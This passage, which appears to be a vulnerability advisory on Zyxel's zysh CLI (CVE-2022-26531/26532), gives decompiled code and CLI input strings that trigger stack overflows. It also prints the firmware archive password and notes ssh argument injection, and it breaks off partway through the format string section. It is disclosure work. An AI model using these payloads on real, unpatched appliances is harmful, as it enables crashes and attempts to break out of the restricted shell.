Authored by Marco Ivaldi | Site security.humanativaspa.it

Zyxel firewalls, AP controllers, and APs suffer from buffer overflow, format string, and command injection vulnerabilities.

advisories | CVE-2022-26531, CVE-2022-26532

--[ HNS-2022-02 - HN Security Advisory - https://security.humanativaspa.it/

* Title: Multiple vulnerabilities in Zyxel zysh
* Products: Zyxel firewalls, AP controllers, and APs
* Author: Marco Ivaldi <[email protected]>
* Date: 2022-06-07
* CVE Names and Vendor CVSS Scores:
CVE-2022-26531: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H (6.1)
CVE-2022-26532: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8)
* Advisory URLs:
https://github.com/hnsecurity/vulns/blob/main/HNS-2022-02-zyxel-zysh.txt
https://www.zyxel.com/support/multiple-vulnerabilities-of-firewalls-AP-controllers-and-APs.shtml


--[ 0 - Table of contents

1 - Summary
2 - Background
3 - Vulnerabilities
4 - Analysis
4.1 - Buffer overflows in the "configure terminal > diagnostic" command
4.2 - Buffer overflow in the "debug" command
4.3 - Buffer overflow in the "ssh" command
4.4 - Format string bugs in the "extension" argument of some commands
4.5 - OS command injection in the "packet-trace" command
5 - Exploitation
5.1 - Buffer overflows
5.2 - Format string bugs
5.3 - OS command injection
6 - Affected products
7 - Remediation
8 - Disclosure timeline
9 - References


--[ 1 - Summary

"We live on a placid island of ignorance in the midst of black seas of
infinity, and it was not meant that we should voyage far."
-- H. P. Lovecraft, The Call of Cthulhu

We have identified multiple security vulnerabilities in the zysh binary
that implements the command-line interface (CLI) on a wide range of Zyxel
products, including their security appliances such as those in the Unified
Security Gateway (USG) product line:

* Multiple stack-based buffer overflows in the code responsible for
handling diagnostic tests ("configure terminal > diagnostic" command).
* A stack-based buffer overflow in the "debug" command.
* A stack-based buffer overflow in the "ssh" command.
* Multiple format string bugs in the "extension" argument of the "ping",
"ping6", "traceroute", "traceroute6", "nslookup", and "nslookup6"
commands.
* An OS command injection vulnerability in the "packet-trace" command.

We demonstrated the possibility to exploit the format string bugs and the
OS command injection vulnerability to escape the restricted shell
environment and achieve arbitrary command execution on the underlying
embedded Linux OS, respectively as regular user and as root.


--[ 2 - Background

The zysh binary is a restricted shell that implements the command-line
interface (CLI) on multiple Zyxel [0] products. All regular user accounts
have an /etc/passwd entry similar to the following:

admin:x:10007:10000:Administration account...:/etc/zyxel/ftp:/bin/zysh

Only the root user and the reserved debug account, disabled by default,
have access to a proper bash shell:

root:x:0:0:root&admin&120&120&480&480&1&0:/root:/bin/bash
...
debug:!:0:0:Debug Account:/root:/bin/bash

The Zyxel CLI can be accessed via SSH as follows:

[email protected] ~ % ssh <REDACTED> -l admin
([email protected]<REDACTED>) Password:
Router> # hello zysh!

On our Zyxel USG20-VPN test device, the CLI can also be accessed via Telnet
(not enabled by default) or via the so-called Web Console, implemented with
WebSockets, that is reachable with a web browser after authentication, at a
URL such as the following:

https://<REDACTED>/webconsole/

In the context of a wider audit of the security posture of Zyxel devices
[1], we decided to audit zysh with the primary goal of escaping the
restricted shell environment and executing arbitrary commands on the
underlying embedded Linux OS. It is pretty large for a dynamically-linked,
stripped binary (~19MB) and it makes plenty of unsafe API function calls,
which makes it an interesting target.


--[ 3 - Vulnerabilities

During our audit of the zysh binary, we identified the following
vulnerabilities:

* Multiple stack-based buffer overflows in the code responsible for
handling diagnostic tests ("configure terminal > diagnostic" command).
* A stack-based buffer overflow in the "debug" command.
* A stack-based buffer overflow in the "ssh" command.
* Multiple format string bugs in the "extension" argument of the "ping",
"ping6", "traceroute", "traceroute6", "nslookup", and "nslookup6"
commands.
* An OS command injection vulnerability in the "packet-trace" command.

All buffer overflows can be triggered only by admin users, while the format
string bugs and the command injection vulnerability are exploitable by
authenticated users of either admin or limited-admin type.


--[ 4 - Analysis

To follow along with our detailed vulnerability analysis, you can download
the Zyxel Firmware 5.10 for "USG20-VPN - ABAQ - Non-Wireless Edition"
(USG20-VPN_5.10.zip [2]). Extract the ZIP archive, then extract the
password-protected ZIP archive 510ABAQ0C0.bin contained within, using the
following password [1]:

4ulPPIs94jnYwUfwwoTqz/a5eRHFRwNYq8zFTrQZaE7XkoTgdzWc.6jea1v1zJb

Finally, extract the Squashfs filesystem image with binwalk or a similar
tool, e.g.:

[email protected] 510ABAQ0C0 % binwalk -e compress.img

The target binary we will reference throughout our analysys is /bin/zysh,
available in the extracted filesystem:

[email protected] bin % ls -l zysh
-rwxr-xr-x 1 raptor staff 19727292 Sep 23 18:33 zysh*
[email protected] bin % shasum -a 256 zysh
47ee711a817e33bb2809e91d76b512498ae3cdca1276a2385f404384547404e3 zysh
[email protected] bin % file zysh
zysh: ELF 32-bit MSB executable, MIPS, N32 MIPS64 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib32/ld.so.1, for GNU/Linux 2.6.9,
stripped

You can easily import it in your favorite disassembler. In Ghidra, we had
to manually tweak the import options to reflect that the binary was
compiled for the N32 ABI [3], importing it as "MIPS:BE:64:64-32addr:n32".
The same requirement holds for any other binaries compiled for the Cavium
Octeon III processor, on which our Zyxel USG20-VPN test device is based.


--[ 4.1 - Buffer overflows in the "configure terminal > diagnostic" command

The first buffer overflow vulnerability we identified is located in the
function at 0x1013b238, which we dubbed do_emtap():

undefined8 do_emtap(longlong argc, char **argv)
{
...
char acStack305[129];
...
else {
uVar1 = 1;
if (argc == 3) {
sprintf(acStack305 + 1, "t%s.sh", argv[2]); /* VULN #1 */
pcVar4 = argv[1];
do_emtap_test(pcVar4, acStack305 + 1);
do_emtap_test2(pcVar4, acStack305 + 1);
report_test();
uVar1 = 0;
}
}
return uVar1;
}

This function is called when an admin user invokes the diagnostic test
functionality in the Zyxel CLI with two arguments, e.g.:

Router> configure terminal
Router(config)# diagnostic test <test_name> <test_num>

The buffer overflow happens due to the unsafe sprintf() call marked with
the "VULN #1" comment above, which overflows past the boundary of the
acStack305 array allocated on the stack with the contents of the <test_num>
argument.

Upon exploitation, however, the return statement at 0x1013b2f4 is never
reached, because the overflow propagates to the other functions that are
called by do_emtap(), which we dubbed do_emtap_test() and do_emtap_test2()
in the pseudo-code above. More precisely, another overflow happens at the
sprintf() call below marked as "VULN #2", located in the do_emtap_test()
function at 0x1013a8f8. This overflow enables us to gain control over the
pc register when do_emtap_test() returns:

int do_emtap_test(char *test_name, char *test_num)
{
...
char acStack320[128];
char acStack192[128];
...
sprintf(acStack320, "%s/%s", "/tmp/tap", test_name); /* VULN #3 */
mkdir(acStack320, 0x1c0);
sprintf(acStack192, "%s/%s/%s", "/usr/local/emtap/test_script",
test_name, test_num); /* VULN #2 */
iVar1 = access(acStack192, 0);
if (iVar1 != 0) {
return 1;
}
...
}

The unsafe sprintf() call overflows past the boundary of the acStack192
array. When do_emtap_test() returns, we are able hijack the control flow.
However, we can only use numeric characters in our hostile buffer,
therefore exploitation is extremely unlikely, if at all possible. The
overflow can be triggered with the following payload:

Router> configure terminal
Router(config)# diagnostic test anything 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Program received signal SIGBUS, Bus error.
0x31313130 in ?? ()

A slightly better opportunity for exploitation is represented by another
stack-based buffer overflow in the above function, marked with the "VULN
#3" comment. This specific overflow can be triggered with the following
payload:

Router> configure terminal
Router(config)# diagnostic test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

This time, our hostile buffer can contain alphanumeric characters in the
range [a-zA-Z0-9], plus the underscore '_'. Still far from ideal, but
definitely better than the previously identified exploitation vector.

A similar vector is provided by yet another stack-based buffer overflow,
this time in the function located at 0x1013ada0, which we dubbed
do_emtap_test3():

undefined8 do_emtap_test3(char *test_name)
{
...
char acStack288[127];
...
sprintf(acStack288, "%s %s/%s | %s -E 't[0-9]+.sh' > %s", "/bin/ls",
"/usr/local/emtap/test_script", test_name, "/bin/grep",
"/tmp/tap/test_case_dir.tmp"); /* VULN #4 */
system(acStack288);
...
sprintf(acStack288, "%s %s", "/bin/rm", "/tmp/tap/test_case_dir.tmp");
system(acStack288);
return 0;
}
...
}

This function is called when an admin user invokes the diagnostic test
functionality in the Zyxel CLI with only one argument, e.g.:

Router> configure terminal
Router(config)# diagnostic test <test_name>

This time, the unsafe sprintf() call marked with the "VULN #4" comment
overflows past the boundary of the acStack288 array. By exploiting this
overflow, we can once again overwrite the pc register and hijack the
control flow. In order to trigger this overflow, the following payload can
be used:

Router> configure terminal
Router(config)# diagnostic test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/bin/ls: cannot access /usr/local/emtap/test_script/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

In the mentioned functions, including the one located at 0x1013aa10 that we
dubbed do_emtap_test2() and that is not immediately reachable via the
codepaths triggered by our hostile inputs, there are other instances of
buffer overflow caused by the unchecked use of unsafe API functions, such
as sprintf() and strcpy(). We have not deeply investigated their actual
reachability, but they should be fixed as well. In addition, many unsafe
programming constructs are present in the rest of the binary.


--[ 4.2 - Buffer overflow in the "debug" command

The buffer overflow vulnerability we identified in the code responsible for
handling the "debug" command is located in the function at 0x1000df70,
which we dubbed do_debug().

It is a pretty long function that gets called when an admin (or in some
cases a limited-admin) user invokes the debug functionality in the Zyxel
CLI, e.g.:

Router> debug <argument list>

To trigger the overflow, the following payload can be used:

Router> debug gui webhelp redirect AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Router> debug gui show webhelp redirect
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

The first command writes a long string in the /tmp/webhelppath file:

int do_debug(ulonglong argc, char **argv)
{
...
case 0x155:
if (DAT_1145e55c != 0x150) {
return 0;
}
pcVar11 = "/tmp/webhelppath";
if (DAT_1145e564 != 0x154) {
return 0;
}
LAB_1000ebdc:
pFVar12 = fopen64(pcVar11, "w"); /* open file */
...
fputs(argv[4], pFVar12); /* write string to file */
fclose(pFVar12);
return 0;
}

The second command triggers the overflow by reading from the
/tmp/webhelppath file:

int do_debug(ulonglong argc, char **argv)
{
...
undefined8 local_e0;
...
if (lVar24 == 0x155) {
pFVar12 = fopen64("/tmp/webhelppath", "r");
...
__isoc99_fscanf(pFVar12, "%s", &local_e0); /* VULN #5 */
fclose(pFVar12);
fwrite(&DAT_1013fe18, 1, 9, stdout);
puVar22 = &local_e0;
pcVar11 = "Webhelp redirect: %sn";
}
LAB_1000f7d0:
fprintf(stdout, pcVar11, puVar22);
fwrite(&DAT_1013fe48, 1, 2, stdout);
return 0;
}

The vulnerability lies in the use of the unsafe __isoc99_fscanf() API
function, which does not check if the destination string is large enough to
accommodate the whole source string. This allows us to overwrite the saved
return address and hijack the control flow. Our hostile buffer is limited
to a length of 255 bytes and can contain only alphanumeric characters in
the range [a-zA-Z0-9], plus the underscore '_', dash '-', and dot '.'
special characters.

A similar bug can be triggered with the "debug gui kb redirect" and "debug
gui show kb redirect" command combination. However, in this case, the
destination buffer is too far away from the location where the return
address is saved on the stack, therefore we cannot exploit this bug to
control the pc register. We do not exclude other ways to exploit this
vulnerability.


--[ 4.3 - Buffer overflow in the "ssh" command

The buffer overflow vulnerability we identified in the code responsible for
handling the "ssh" command is located in the function at 0x10012298, which
we dubbed do_ssh():

undefined8 do_ssh(int argc, char **argv)
{
...
char acStack336[300];
...
sprintf(acStack336, "/usr/bin/ssh -o UserKnownHostsFile=/dev/null %s",
argv[1]); /* VULN #5 */
...
sVar4 = strlen(acStack336);
sprintf(acStack336 + sVar4, " -p %s", *(undefined4 *)((int)argv +
iVar2)); /* VULN #6 */
...
}

You know the gist by now: there are two stack-based buffer overflows caused
by the unchecked use of the unsafe API function sprintf(). To trigger the
first overflow the following payload can be used, as an authenticated admin
or limited-admin user:

Router> ssh AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[email protected]127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is SHA256:fzNloEaOsmNQLHbhjroUVHkJC9ZTH09A6TRjyK+oiys.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (RSA) to the list of known hosts.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[email protected]127.0.0.1's password:
[press enter a few times]
Program received signal SIGBUS, Bus error.
0x41414140 in ?? ()

Once again, our hostile buffer can contain only alphanumeric characters,
plus some special characters. As a side note, we noticed that we can inject
arguments that get passed to the underlying /usr/bin/ssh command, albeit
with some limitations:

Router> ssh [email protected]
unknown option -- @
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [[email protected]]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]

Based on our analysis, this lack of input filtering is not exploitable to
inject interesting command-line arguments (e.g. "-o ProxyCommand=..."):

Router> ssh [email protected]
command-line: line 0: Bad configuration option: [email protected]
Router> ssh [email protected]
% (after 'ssh'): Parse error
retval = -1
ERROR: Parse error/command not found!

--[ 4.4 - Format string bugs in the "extension" argument of some commands

Some zysh commands implement a special "extension" argument that allows to
specify arbitrary command-line arguments to be passed to the invoked OS
command that underlies each functionality:

Router> ping 127.0.0.1
;
<cr>
count
extension
forever
interface
size
source
|

For instance, if we enter the following zysh command:

Router> ping 127.0.0.1 extension -c 1

The OS command line below will be executed via the function located at
0x101295d0, which we dubbed my_invoke():

$ /bin/zysudo.suid /bin/ping 1.1.1.1 -n -c 3 -c 1

As you can see, the additional arguments we specified after the "extension"
keyword are appended to the OS command line.

We identified format string bugs in the following zysh commands:

* "ping" and "ping6" commands, handled by the function at 0x1000c0a0, which
we dubbed do_ping().
* "traceroute" and "traceroute6" commands, handled by the function at
0x1000bc58, which we dubbed do_traceroute().
* "nslookup" and "nslookup6" commands, handled by the function at
0x1000c718, which we dubbed do_nslookup().

The relevant pseudo-code snippets are:

undefined8 do_ping(int argc, char **argv, char *cmd)
{
...
if (iVar9 != 0) {
sVar5 = strlen(acStack880);
pcVar1 = ppcStack96[iVar9 + 1];
acStack880[sVar5] = ' ';
acStack880[sVar5 + 1] = '